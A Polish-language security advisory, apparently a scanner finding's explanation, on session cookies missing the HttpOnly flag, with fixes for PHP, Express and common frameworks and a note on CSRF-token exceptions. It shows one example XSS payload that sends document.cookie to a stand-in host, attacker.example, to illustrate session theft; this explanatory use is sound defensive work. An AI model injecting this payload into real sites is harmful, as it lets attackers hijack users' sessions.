Cookie sesyjne nie ma flagi HttpOnly

Co to jest

Cookie ustawione bez flagi HttpOnly jest odczytywalne z JavaScriptu przez document.cookie. Atakujący, któremu uda się umieścić na stronie dowolny kawałek JS (XSS), odczyta je wtedy i wyśle do siebie.

Dlaczego to problem

Bez HttpOnly atakującemu wystarczy jeden mały XSS (pole komentarza, bio profilu, zapytanie wyszukiwania) i ma gotowe — kradnie cookie sesyjne i loguje się jako Ty. Oto typowy payload:

<script>
fetch('https://attacker.example/' + btoa(document.cookie))
</script>

Z HttpOnly document.cookie jest pusty, a atak zawodzi. XSS sam w sobie wciąż jest problemem, ale przynajmniej sesja pozostaje bezpieczna.

Jak to naprawić

HttpOnly to flaga — ustawiasz ją przy tworzeniu cookie. Niemal wszystkie frameworki mają ją domyślnie, czasem ktoś tylko jawnie ją wyłącza.

PHP

# php.ini
session.cookie_httponly = 1

# lub bezpośrednio w kodzie
setcookie('name', $value, [
    'httponly' => true,
    'secure'   => true,
    'samesite' => 'Lax',
]);

Node.js (express)

res.cookie('session', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
});

Laravel / Django / Rails

HttpOnly jest domyślnie włączone we wszystkich nowoczesnych middleware sesji. Jeśli Twój wynik pokazuje cookie bez niej, ktoś wyłączył to w konfiguracji. Przywróć ustawienie domyślne.

Co nie może mieć HttpOnly

Cookies, które celowo czyta JavaScript — typowo token CSRF (np. Laravelowy XSRF-TOKEN). To jest w porządku, ponieważ atakujący z XSS już tokenu CSRF nie potrzebuje.

Cookie zawierające identyfikator sesji lub token uwierzytelniający musi jednak zawsze mieć HttpOnly.

Weryfikacja

DevTools → Application → Cookies → kolumna HttpOnly. Dla cookies sesyjnych/uwierzytelniających musi być true.

Źródła